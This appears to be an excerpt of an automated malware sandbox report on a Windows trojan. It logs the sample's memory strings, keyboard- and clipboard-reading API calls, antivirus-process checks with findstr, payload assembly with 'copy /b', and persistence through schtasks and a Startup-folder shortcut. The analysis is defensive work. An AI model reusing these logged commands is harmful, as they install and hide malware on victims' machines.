    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003061000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002869000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ip.s
    Source: RegAsm.exe, 0000001F.00000002.3855499519.0000000002869000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ip.sb/ip
    Source: RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v9/users/
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: https://www.autoitscript.com/autoit3/
    Source: Intake.pif.1.drString found in binary or memory: https://www.globalsign.com/repository/0
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: https://www.globalsign.com/repository/06
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00404BB4 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_00404BB4
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00384830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,18_2_00384830
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00384830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,20_2_00384830
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00384632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,18_2_00384632
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00370508 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,18_2_00370508
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003279000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: GetRawInputDatamemstr_24166278-4
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0039D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,18_2_0039D164
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0039D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,20_2_0039D164

    System Summary

    barindex
    Windows Scripting host queries suspicious COM object (likely to drop second stage)
    Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
    Wscript called in batch mode (surpress errors)
    Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess Stats: CPU usage > 49%
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00374254: CreateFileW,DeviceIoControl,CloseHandle,18_2_00374254
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00368F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,18_2_00368F2E
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00403415 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,0_2_00403415
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00375778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,18_2_00375778
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00375778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,20_2_00375778
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_0040447D0_2_0040447D
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_0040680A0_2_0040680A
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00406E340_2_00406E34
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0031B02018_2_0031B020
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003194E018_2_003194E0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00319C8018_2_00319C80
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003323F518_2_003323F5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0039840018_2_00398400
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0034650218_2_00346502
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0034265E18_2_0034265E
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0031E6F018_2_0031E6F0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033282A18_2_0033282A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0032096218_2_00320962
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003489BF18_2_003489BF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00390A3A18_2_00390A3A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00346A7418_2_00346A74
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00320BE018_2_00320BE0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033CD5118_2_0033CD51
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0036EDB218_2_0036EDB2
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00378E4418_2_00378E44
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00390EB718_2_00390EB7
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00346FE618_2_00346FE6
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003132C018_2_003132C0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003333B718_2_003333B7
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033F40918_2_0033F409
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0032D45D18_2_0032D45D
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0032F62818_2_0032F628
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0031166318_2_00311663
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003316B418_2_003316B4
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0031F6A018_2_0031F6A0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003378C318_2_003378C3
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033DBA518_2_0033DBA5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00331BA818_2_00331BA8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00319BD018_2_00319BD0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00349CE518_2_00349CE5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0032DD2818_2_0032DD28
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033BFD618_2_0033BFD6
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00331FC018_2_00331FC0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0031B02020_2_0031B020
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003194E020_2_003194E0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00319C8020_2_00319C80
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003323F520_2_003323F5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0039840020_2_00398400
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0034650220_2_00346502
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0034265E20_2_0034265E
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0031E6F020_2_0031E6F0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033282A20_2_0033282A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0032096220_2_00320962
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003489BF20_2_003489BF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00390A3A20_2_00390A3A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00346A7420_2_00346A74
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00320BE020_2_00320BE0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033CD5120_2_0033CD51
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0036EDB220_2_0036EDB2
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00378E4420_2_00378E44
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00390EB720_2_00390EB7
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00346FE620_2_00346FE6
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003132C020_2_003132C0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003333B720_2_003333B7
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033F40920_2_0033F409
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0032D45D20_2_0032D45D
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0032F62820_2_0032F628
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0031166320_2_00311663
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003316B420_2_003316B4
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0031F6A020_2_0031F6A0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_003378C320_2_003378C3
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033DBA520_2_0033DBA5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00331BA820_2_00331BA8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00319BD020_2_00319BD0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00349CE520_2_00349CE5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0032DD2820_2_0032DD28
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033BFD620_2_0033BFD6
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00331FC020_2_00331FC0
    Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
    Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\684126\Intake.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess token adjusted: Security
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00314DC0 appears 40 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00338B30 appears 84 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00321A36 appears 68 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00339FA5 appears 46 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 003339FB appears 36 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00321CB6 appears 49 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 0033312D appears 42 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00312111 appears 38 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00330D17 appears 140 times
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: String function: 00341B70 appears 60 times
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe, 00000000.00000002.1652032736.00000000005F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exej% vs e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: classification engineClassification label: mal100.troj.expl.evad.winEXE@46/23@1/0
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037A6AD GetLastError,FormatMessageW,18_2_0037A6AD
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00368DE9 AdjustTokenPrivileges,CloseHandle,18_2_00368DE9
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00369399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,18_2_00369399
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00368DE9 AdjustTokenPrivileges,CloseHandle,20_2_00368DE9
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00369399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,20_2_00369399
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_0040400B GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_0040400B
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00374148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,18_2_00374148
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00402218 CoCreateInstance,0_2_00402218
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,18_2_0037443D
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifFile created: C:\Users\user\AppData\Local\SecureData TechnologiesJump to behavior
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMutant created: NULL
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1060:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeFile created: C:\Users\user\AppData\Local\Temp\nstCC4D.tmpJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exit
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
    Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeReversingLabs: Detection: 39%
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeVirustotal: Detection: 35%
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeFile read: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exit
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 684126
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "VegetablesIndividualBindingGba" Ever
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wire + ..\Qualified + ..\Manufacturers + ..\Wesley + ..\Haiti + ..\Done + ..\Drop + ..\Runner + ..\Defend + ..\Judy + ..\Dow C
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\684126\Intake.pif Intake.pif C
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & echo URL="C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & exit
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"
    Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
